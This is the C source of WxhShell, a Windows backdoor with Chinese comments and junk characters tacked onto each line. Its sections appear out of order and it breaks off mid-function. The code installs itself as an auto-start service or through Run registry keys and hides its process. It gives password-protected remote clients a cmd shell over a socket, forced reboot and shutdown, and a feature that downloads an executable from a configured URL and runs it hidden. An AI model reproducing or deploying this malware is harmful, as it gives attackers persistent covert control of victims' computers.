    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +CEt:KQ   
    if(Boot(SHUTDOWN)) #I ,c'Vj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %D7^.  
    else { /ORK9 g  
    closesocket(wsh); KPK`C0mg@k  
    ExitThread(0); ,iiI5FR  
    } %RIu'JXi  
    break; ctb , w  
    } pdQaVe7tRo  
  // 获取shell *JW.ca}  
  case 's': { qsN}KgTjg  
    CmdShell(wsh); $43CNnf3N  
    closesocket(wsh); >&Ye(3w&  
    ExitThread(0); |%Y=]@f  
    break; 10dK%/6/O  
  } B 4e}%  
  // 退出 /KiaLS  
  case 'x': { +ZwTi!W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EA:_PBZ  
    CloseIt(wsh); s0Y7`uD^  
    break;  !vr A\d  
    } ,({% t  
  // 离开 IOrYm  
  case 'q': { iee`Yg!EOH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0,LUi*10  
    closesocket(wsh); 48GaZ@v  
    WSACleanup(); U$ZbBVa`~  
    exit(1); @bFl8-  
    break; F>u/Lh!  
        } '~6l 6wi  
  } 3z 5"Ckzb  
  } +I~U8v-  
tN)Vpb\J  
  // 提示信息 Q!fk|D+j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HBa6Y&)<  
} G)5Uiu:^X  
  } /X\:3P  
e+MsFXnB8  
  return; .fzns20u  
} +zFEx%3^  
toox`|  
// shell模块句柄 Im`R2_(]  
int CmdShell(SOCKET sock) ~r]$(V n  
{ %+$!ctn  
STARTUPINFO si; (n{!~'3  
ZeroMemory(&si,sizeof(si)); /P{'nI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^6 ,}*@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mc6W"  
PROCESS_INFORMATION ProcessInfo; s[*I210  
char cmdline[]="cmd"; 3V/|"R2s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aOW~! f/M  
  return 0; \?k"AtL  
} tUFXx\p  
"FfP&lF/  
// 自身启动模式 <,'^dR7,  
int StartFromService(void) j62oA$z  
{ ~qW"v^<  
typedef struct MB5X$5it  
{ Of$gs-  
  DWORD ExitStatus; Eid~4a  
  DWORD PebBaseAddress; >3ASrM+>w  
  DWORD AffinityMask; |VX0o2  
  DWORD BasePriority; *5'l"YQ@1  
  ULONG UniqueProcessId; Su`] ku'  
  ULONG InheritedFromUniqueProcessId; Fc"+L+h@W  
}   PROCESS_BASIC_INFORMATION;  O6!:Qd  
 ~\+m o  
PROCNTQSIP NtQueryInformationProcess; 'P >h2^z  
FiNB$A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rOq>jvy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $-]PD`wmY  
fPsUIlI/A  
  HANDLE             hProcess; CY.i0  
  PROCESS_BASIC_INFORMATION pbi; v/C*?/ ~  
^$\#aTyFK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9O#?r82  
  if(NULL == hInst ) return 0; Ru`7Xd.  
oO,"B8a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w 259':  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1A 9Gf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $QuSmA<4lS  
;ZLfb n3\  
  if (!NtQueryInformationProcess) return 0; Js8d{\0\  
T ;JA.=I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,Z]4`9c  
  if(!hProcess) return 0; `lq[6[n  
yNmzRH u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q\v^3u2;m`  
bMF`KRP2  
  CloseHandle(hProcess); 9RN! <`H  
2Y{r2m|o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _M}}H3  
if(hProcess==NULL) return 0; |/p2DU2  
/H[!v:U  
HMODULE hMod; $P~Tt4068  
char procName[255]; v/DWy(CC  
unsigned long cbNeeded; 5-X(K 'Q  
s av  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aruT eJF  
0--0+?  
  CloseHandle(hProcess); C")NN s =  
yE),GJ-m\<  
if(strstr(procName,"services")) return 1; // 以服务启动 Q" an6ht|  
qw%wyj7  
  return 0; // 注册表启动 +q4AK<y-  
} wpPCkfPyL  
5U&?P   
// 主模块 ZvO,1B  
int StartWxhshell(LPSTR lpCmdLine) 6P*2Kg`  
{ ^c]lEo  
  SOCKET wsl; d#G H4+C  
BOOL val=TRUE; o8lwwM*  
  int port=0; 0xg6  
  struct sockaddr_in door; e!~x-P5M`  
}fKpih  
  if(wscfg.ws_autoins) Install(); wNm~H  
T8rf+B/.L  
port=atoi(lpCmdLine); r6eApKZ>f6  
,t_Fo-i7vI  
if(port<=0) port=wscfg.ws_port; 0FD+iID  
WKPuIE:  
  WSADATA data; Fs EPM"&?h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A `n:q;my  
kUG3_ *1 .  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (t)a u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i^'Uod0d.  
  door.sin_family = AF_INET; j8Csnm0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #/ Qe7:l  
  door.sin_port = htons(port); %@Ty,d:;=  
(Q09$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0if~qGm=!  
closesocket(wsl); _~E&?zR2>"  
return 1; 6+[7UH~pm^  
} f}>S"fFI  
hd}"%9p  
  if(listen(wsl,2) == INVALID_SOCKET) { OjiQBsgnj  
closesocket(wsl); mT2Fn8yC1  
return 1; PjkJsH  
} c}>p"  
  Wxhshell(wsl); " Q~-C|x  
  WSACleanup(); z2lEHa?w  
7Q9zEd" d  
return 0; \WeGO.i-  
?0VLx,kp  
} BK1Aq3*)  
Qm\VZ<6/5  
// 以NT服务方式启动 i`1QR@11  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G6b\4}E  
{ n3kYVAgF  
DWORD   status = 0;  !mX 2  
  DWORD   specificError = 0xfffffff; _ADK8a6%)  
:A{ US9D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~\z\f} w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jci'q=Vpu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JUlV$b.)J  
  serviceStatus.dwWin32ExitCode     = 0; S?5z  
  serviceStatus.dwServiceSpecificExitCode = 0; YbrsXp"  
  serviceStatus.dwCheckPoint       = 0; qeyBZ8BG  
  serviceStatus.dwWaitHint       = 0; xv{iWJcs  
m_z1|zM}o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ? h$>7|  
  if (hServiceStatusHandle==0) return; vO)nqtw  
3'WS6B+  
status = GetLastError(); 04wmN  
  if (status!=NO_ERROR) =kspHP<k  
{ ^vmyiF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /L1qdkG  
    serviceStatus.dwCheckPoint       = 0; ~ 0x9`~  
    serviceStatus.dwWaitHint       = 0; P==rY5+s`  
    serviceStatus.dwWin32ExitCode     = status; UUx0#D/U0C  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,z?Re)q m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #n'tpp~O  
    return; \DE`tkV8  
  } j_?U6$xi  
uL!{xuN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hNV" {V3`{  
  serviceStatus.dwCheckPoint       = 0; g=;c*{  
  serviceStatus.dwWaitHint       = 0; ,OLN%2Sq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S) [`Bm  
} H! ZPP8]j>  
or u.a   
// 处理NT服务事件,比如:启动、停止 ESZ6<!S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b "4W` A  
{ g|PVOY+|^  
switch(fdwControl) I hvL2 zB  
{ =^P<D&%q  
case SERVICE_CONTROL_STOP: RkN a;j)t  
  serviceStatus.dwWin32ExitCode = 0; R0M(e@H~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mB$r>G/'  
  serviceStatus.dwCheckPoint   = 0; ;&|ja]r  
  serviceStatus.dwWaitHint     = 0; ".qh]RVjV  
  { :_tsS)Q2m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %cD7}o:u  
  } 1x]U&{do  
  return; IiACr@[?e  
case SERVICE_CONTROL_PAUSE: "YGs<)S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /0 ,#c2aq  
  break; %/H  
case SERVICE_CONTROL_CONTINUE: _?3bBBy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bgd1j,PWbW  
  break; B_[^<2_  
case SERVICE_CONTROL_INTERROGATE: 5w`v 3o  
  break; !V.'~xj  
}; S)GWr"m-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f4zd(J  
} !9i,V{$c`"  
:<s)QD  
// 标准应用程序主函数 +EcN[-~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Od'!v&  
{ ] w FFGy  
9[|Ql  
// 获取操作系统版本 Pe/cwKCI  
OsIsNt=GetOsVer(); ]7ROCJ;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #5T+P8  
+"a . ,-f!  
  // 从命令行安装 ~) }npS;  
  if(strpbrk(lpCmdLine,"iI")) Install(); DL2gui3  
;KmSz 1A  
  // 下载执行文件 POc< G^  
if(wscfg.ws_downexe) { S@zsPzw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E'e#axF;  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hq^sU%  
} gQ*0Mk  
r9G<HKl  
if(!OsIsNt) { TE0hV w0c  
// 如果时win9x,隐藏进程并且设置为注册表启动 a[)in ,3  
HideProc(); 'u$$scGt  
StartWxhshell(lpCmdLine); l?B\TA^  
} . #;ZM[v  
else 0vUX^<  
  if(StartFromService()) &?*M+q34  
  // 以服务方式启动 AFl]w'=  
  StartServiceCtrlDispatcher(DispatchTable); jR\T\r4  
else ekfD+X  
  // 普通方式启动 u9e A"\s  
  StartWxhshell(lpCmdLine); r9@W8](\  
j%b/1@I  
return 0; }(dhXOf\q  
} Fp-d69Npo  
#P- S.b  
rU5gQq;  
(M6B$:  
=========================================== OUe@U;l{Z  
Rw*l#cr=.  
^l ~i>:V  
IyYC).wU}  
T<DQi  
$r9Sn  
" 1A">tgA1  
@Wy>4B^  
#include <stdio.h> T?)?"b\qz  
#include <string.h> '>Y"s|  
#include <windows.h> %? _pSH}$!  
#include <winsock2.h> ) ]U-7  
#include <winsvc.h> 1,Uv;s;{  
#include <urlmon.h> x\!Qe\lE  
)`^t,x<S  
#pragma comment (lib, "Ws2_32.lib") d$kGYMT"  
#pragma comment (lib, "urlmon.lib") mT>56\63  
;58l_ue  
#define MAX_USER   100 // 最大客户端连接数 O(h4;'/E  
#define BUF_SOCK   200 // sock buffer X&t)S?eCos  
#define KEY_BUFF   255 // 输入 buffer 2Q)"~3  
rFSLTbTf  
#define REBOOT     0   // 重启 *8fnxWR   
#define SHUTDOWN   1   // 关机 @P4fR7  
LqPn$rZ|$  
#define DEF_PORT   5000 // 监听端口 zhU)bb[A  
gc7S_D~;  
#define REG_LEN     16   // 注册表键长度 MMD4b}p  
#define SVC_LEN     80   // NT服务名长度 fC2e}WR   
)wo'i]#2:  
// 从dll定义API 4\Y2{Z>P?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b|wCR%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "Nn/vid;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NHUx-IqOX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G{i}z^n  
<u*~RYA2  
// wxhshell配置信息  s6rdQI]  
struct WSCFG { M/ 0!B_(R  
  int ws_port;         // 监听端口 P8Fq %k  
  char ws_passstr[REG_LEN]; // 口令 d /jO~+jP  
  int ws_autoins;       // 安装标记, 1=yes 0=no  .-'  
  char ws_regname[REG_LEN]; // 注册表键名 Gb<)U[Hfd  
  char ws_svcname[REG_LEN]; // 服务名 t%n1TY,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0Oc' .E9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pcv(P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x,STt{I=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *]p]mzc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C 6ZM#}I$l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T#Qn\ 8  
{ o=4(RC  
}; YL=?Nk/  
AM1J ^Dp  
// default Wxhshell configuration A}FEM[2  
struct WSCFG wscfg={DEF_PORT, ^* ^te+N  
    "xuhuanlingzhe", "?EA G  
    1, ]YQlCx`  
    "Wxhshell", r Ka7[/  
    "Wxhshell", x1]^].#Eo  
            "WxhShell Service", 0"kNn5  
    "Wrsky Windows CmdShell Service", +iir]"8  
    "Please Input Your Password: ", uR|Jn)/m(  
  1, Y{B|*[xM  
  "http://www.wrsky.com/wxhshell.exe", @ O5-w  
  "Wxhshell.exe" `ux U H#  
    }; .ZFs+8qU>  
n@mWB UM  
// 消息定义模块 }>=k!l{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3205gI,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Q|1I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G@oY2sM"  
char *msg_ws_ext="\n\rExit."; 3aQWzEnh  
char *msg_ws_end="\n\rQuit."; :t8(w>oW  
char *msg_ws_boot="\n\rReboot..."; =M>1;Qr<Z/  
char *msg_ws_poff="\n\rShutdown..."; D%N^iJC,9  
char *msg_ws_down="\n\rSave to "; b!J21cg<L  
j~(rG^T  
char *msg_ws_err="\n\rErr!"; I&U?8  
char *msg_ws_ok="\n\rOK!"; KtUI(*$`  
scCOiK)  
char ExeFile[MAX_PATH]; p)N=  
int nUser = 0; FRQ0tIp  
HANDLE handles[MAX_USER]; AdesR-e$R  
int OsIsNt; DmM<Kkg.J  
lplEQ]J|  
SERVICE_STATUS       serviceStatus; iE, I\TY[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r ioNP(  
.dt7b4.kd  
// 函数声明 _$s9o$8$  
int Install(void); [nJ),9$z_  
int Uninstall(void); _|bIl%W;\'  
int DownloadFile(char *sURL, SOCKET wsh); yo`Jp$G  
int Boot(int flag); wbshKkUh_*  
void HideProc(void); AqZ{x9g!  
int GetOsVer(void); 3XYCtp8  
int Wxhshell(SOCKET wsl); Ra}%:  
void TalkWithClient(void *cs); Q9H~B`\nQ  
int CmdShell(SOCKET sock); D'F =v\P  
int StartFromService(void); f ."bq43(  
int StartWxhshell(LPSTR lpCmdLine); Wjn1W;m&g  
>c*}Do{lG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ` /#f8R1g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !5wm9I!5^  
nPj%EKdY4  
// 数据结构和表定义 8Gzc3  
SERVICE_TABLE_ENTRY DispatchTable[] = hn#i,XnY  
{ a ?/GEfd  
{wscfg.ws_svcname, NTServiceMain}, Mf Dna>,Y  
{NULL, NULL} "~0m_brf  
}; t&T0E.kh*X  
&[f.;1+C  
// 自我安装 ~0,Utqy  
int Install(void) s9>f5u?dK  
{ -@X?~4Idz  
  char svExeFile[MAX_PATH]; XZYpU\K  
  HKEY key; H'Bor\;[>  
  strcpy(svExeFile,ExeFile); Ol1[o  
fpJM)HU  
// 如果是win9x系统,修改注册表设为自启动 vyP3]+n  
if(!OsIsNt) { w>>)3:Ytd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dR<sBYo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EYtf>D  
  RegCloseKey(key); tT'*Uu5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lG/M%i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G.OAzA13!t  
  RegCloseKey(key); eVyXh>b*  
  return 0; 4n @}X-)  
    } Kv^ez%I  
  } fNNkc[YTZI  
} ^I=c]D]);  
else { !qsk;Vk7Z  
?Y7'OlO  
// 如果是NT以上系统,安装为系统服务 q(4W /y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z{s&myd  
if (schSCManager!=0) \Y&*sfQ  
{ `,gGmh  
  SC_HANDLE schService = CreateService o4,fwPkB  
  ( ="<5+G  
  schSCManager, 6!bp;iLKy  
  wscfg.ws_svcname, WeNx9+2=Z  
  wscfg.ws_svcdisp, s+&Ts|c#  
  SERVICE_ALL_ACCESS, e>vV8a\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?piv]Z  
  SERVICE_AUTO_START, Ca?5bCI,  
  SERVICE_ERROR_NORMAL, M9'Qs m  
  svExeFile, 7pMQ1- (  
  NULL, "jqC3$DKI  
  NULL, ^-?5=\`5  
  NULL, S=H<5*]g  
  NULL, 7 ^7Rk  
  NULL g+;)?N*j  
  ); ,#3u. =IR[  
  if (schService!=0) /` 891( f,  
  { 20750G  
  CloseServiceHandle(schService); ?muI8b  
  CloseServiceHandle(schSCManager); MG)wVS<d_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M>W-lp^3  
  strcat(svExeFile,wscfg.ws_svcname); GxE"q-G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J0CEZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fmyyQ|]O"  
  RegCloseKey(key); ]L#6'|W  
  return 0; FjF:Eh  
    } #va|&QBZxM  
  } 35I y\  
  CloseServiceHandle(schSCManager); rqbX9M^  
} _9!*laR!2  
} 8 #fzL7  
p?(w !O  
return 1; Y^80@MJ  
} y^7;I-  
t)P5bQ+$u9  
// 自我卸载 7Gb1[3  
int Uninstall(void) [ fvip_Pt  
{ D-\WS^#  
  HKEY key; M:x?I_JG8  
#U45;idp  
if(!OsIsNt) { 'zCJK~x`x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r2A%.bL#  
  RegDeleteValue(key,wscfg.ws_regname); ,CqJ ((  
  RegCloseKey(key); qOy3D~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EN6a? }5  
  RegDeleteValue(key,wscfg.ws_regname); np3$bqm  
  RegCloseKey(key); g&9E>wT  
  return 0; kXimJL_<g  
  } e+jp03m\W  
} 09z%y[z  
} M,xhQ{eBY  
else { !R*%F  
i(R&Q;{E^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l9"4"+?j<  
if (schSCManager!=0) ,4W| e!  
{ w#.Tp-AZ;\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \pI)tnu6'U  
  if (schService!=0) .BN~9w  
  { N!Dc\d=8q]  
  if(DeleteService(schService)!=0) { B;Pws$J  
  CloseServiceHandle(schService); %\6ns  
  CloseServiceHandle(schSCManager); #;FHyKx  
  return 0; i(DoAfYf/q  
  } _=W ^#z  
  CloseServiceHandle(schService); Z* eb  
  } 5sJi- ^  
  CloseServiceHandle(schSCManager); U:6 J~  
} [U+6Tj,  
} vzD3_ ?D  
Q` mw2$zv  
return 1; 3C'`c=  
} `k y>M-  
'5xf?0@s.  
// 从指定url下载文件 ;%"YA  
int DownloadFile(char *sURL, SOCKET wsh) *:t]|$;E\  
{ i!8 o(!I  
  HRESULT hr; ~5Wr |qg%{  
char seps[]= "/"; 'Gwa[ |6i  
char *token; :&D>?{b0  
char *file; |Y' xtOMX  
char myURL[MAX_PATH]; U 7mA~t2E  
char myFILE[MAX_PATH]; Eq$Q%'5*ua  
R^zTgyr  
strcpy(myURL,sURL); ;\(Wz5Ok&J  
  token=strtok(myURL,seps); 1(!w xJ  
  while(token!=NULL) &4M0 S+.  
  { ?DPN a  
    file=token; 2 mM0\ja  
  token=strtok(NULL,seps); :NB|r  
  } v%Rc wVt|  
9^l[d<  
GetCurrentDirectory(MAX_PATH,myFILE); &t)dE7u5  
strcat(myFILE, "\\"); 9y=$ |"<(  
strcat(myFILE, file); K07SbL7g!p  
  send(wsh,myFILE,strlen(myFILE),0); VYw vT0  
send(wsh,"...",3,0); ERxA79  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZUGuV@&-T  
  if(hr==S_OK) _Eq*  
return 0; =hE5 ?}EP+  
else Gy{C*m7Q  
return 1; }'HJVB_  
{2kw*^,l  
} .#n1p:}[  
5G.A\`u%  
// 系统电源模块 ?^iX%   
int Boot(int flag) Jej P91  
{ gs;3NW  
  HANDLE hToken; z_fR?~$N2  
  TOKEN_PRIVILEGES tkp; ,a_F[uK  
`P;fD/I  
  if(OsIsNt) { i<<NKv8;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B"N8NVn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f:5(M@iO.  
    tkp.PrivilegeCount = 1; O[+![[N2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KQsS)ju  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S0.   
if(flag==REBOOT) { 4ujw/`:/m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hDc, #~!  
  return 0; C~o6]'+F_  
} q^}QwJw  
else { |RT#ZMJek  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0:-i  
  return 0; )W^Wqa8mG|  
} Zw(*q?9\  
  } s=`1wkh0  
  else { }9T$XF~  
if(flag==REBOOT) { y7M"Dr%t^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `5}XmSJ?5  
  return 0; $LUNA.  
} ju8mO&  
else { =x "N0p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2!QS&i  
  return 0; ?_9cFo59:  
} /|] %0B  
} :CEhc7gU  
;6aTt2BQ  
return 1; "kyy>H9)  
} (:3rANY|  
|6LC>'  
// win9x进程隐藏模块 Ve>*KHDSt  
void HideProc(void) S3nA}1R  
{ F?2(U\k#  
@]lKQZ^2&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .E:QZH'M  
  if ( hKernel != NULL ) ?! dp0<  
  { Zab5"JR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Nt42v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *LJN2;  
    FreeLibrary(hKernel); BBw]>*  
  } kJIKULf  
k)\Yl`4au  
return; ~ ar8e  
} Z[8{V  
HKO00p7  
// 获取操作系统版本 ]D&$k P(  
int GetOsVer(void) W&`_cGoP  
{ k^I4z^O=-;  
  OSVERSIONINFO winfo; D6Ov]E:fa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mj :8ZZ  
  GetVersionEx(&winfo); b\~rL,7(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qA:CV(Z  
  return 1; . (*V|&n  
  else K V ^ `  
  return 0; hnS ~r4  
} $oK,&_  
.(Q3M0.D  
// 客户端句柄模块 ^!H8"CdC3  
int Wxhshell(SOCKET wsl) pLMki=.Ld  
{ '/ 3..3k  
  SOCKET wsh; NwM=  
  struct sockaddr_in client; -WP_0  
  DWORD myID; 'LIJpk3J  
Q%~b(4E^7P  
  while(nUser<MAX_USER) {>>ozB.  
{ >L#&L ?#  
  int nSize=sizeof(client); ~]?Q'ER  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7dI+aJ  
  if(wsh==INVALID_SOCKET) return 1; Sj{z  
0[}"b(O{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Md'd=Y_0  
if(handles[nUser]==0) 7QL>f5Q  
  closesocket(wsh); kV"';a  
else !I5_ln  
  nUser++; c:"*MM RC  
  } k!O#6Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e#IED!U  
t6_6Bl:  
  return 0; ?m#X";^V  
} uy{mSx?td  
LKY4rY!|@d  
// 关闭 socket MdT'xYomzQ  
void CloseIt(SOCKET wsh) tDFN *#(  
{ =3lUr<Ze  
closesocket(wsh); ?,NZ /n  
nUser--; 6d"dJV.\  
ExitThread(0); [>&Nhn0iY  
} '#[U7(lIQ  
A:[La#h|p  
// 客户端请求句柄 ohusL9D  
void TalkWithClient(void *cs) 2H fP$.  
{ wG2lCv`d  
,6PV"E)_  
  SOCKET wsh=(SOCKET)cs; Y TxUKE:  
  char pwd[SVC_LEN]; yd5r]6ej  
  char cmd[KEY_BUFF]; 2?rg&og6  
char chr[1]; 3toY#!1Ch  
int i,j; 34U/"+|z  
/78gXHv  
  while (nUser < MAX_USER) { ')I/D4v  
KbVV[ *  
if(wscfg.ws_passstr) { 7qA);N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K97lP~Hu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F >2t=r*9  
  //ZeroMemory(pwd,KEY_BUFF); LlL\7?_;  
      i=0; Zu:cF+h l  
  while(i<SVC_LEN) { #wbaRx@rc  
Wcn3\v6_  
  // 设置超时 Y&`Vs(  
  fd_set FdRead; h J#U;GL  
  struct timeval TimeOut; ~\DC )  
  FD_ZERO(&FdRead); ~}w(YQy=y  
  FD_SET(wsh,&FdRead); sIdo(`8$  
  TimeOut.tv_sec=8; l*("[?>I  
  TimeOut.tv_usec=0; N:[m,U9a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c3&F\3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kx3H}od]  
qdm5dQ (c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "cRc~4%K  
  pwd=chr[0]; u].=b$wHHM  
  if(chr[0]==0xd || chr[0]==0xa) { eV^@kI4  
  pwd=0; 4fw>(d(2  
  break; E*>tFw&[  
  } D<5)i)J"  
  i++; , %mTKOs  
    } RfDIwkpp  
=|S8.|r+  
  // 如果是非法用户,关闭 socket :1eI"])(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6#6Ve$Vl]  
} mN@)b+~(S  
C9x'yBDv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p=\DZU~1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zC!]bWsD  
=#n05*^  
while(1) { $1.iMHb  
g$kK)z  
  ZeroMemory(cmd,KEY_BUFF); ~el#pf~  
wKe^5|Rr  
      // 自动支持客户端 telnet标准   j[m\;3Sp  
  j=0; F}<&@7kF  
  while(j<KEY_BUFF) { D}px=?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }\=9l<|  
  cmd[j]=chr[0]; !V$nU8p|  
  if(chr[0]==0xa || chr[0]==0xd) { s ,\w00-:  
  cmd[j]=0; Hs~M!eK  
  break; ?c"No|@+  
  } a-x8LfcbF  
  j++; l!Z>QE`.S  
    } 4O9HoX#-?  
26>e0hBh&  
  // 下载文件 gl:vJD  
  if(strstr(cmd,"http://")) { IJxdbuKg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c)#b*k,lw<  
  if(DownloadFile(cmd,wsh)) 5H:NY|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -]~U_J]  
  else >pO[ S[  
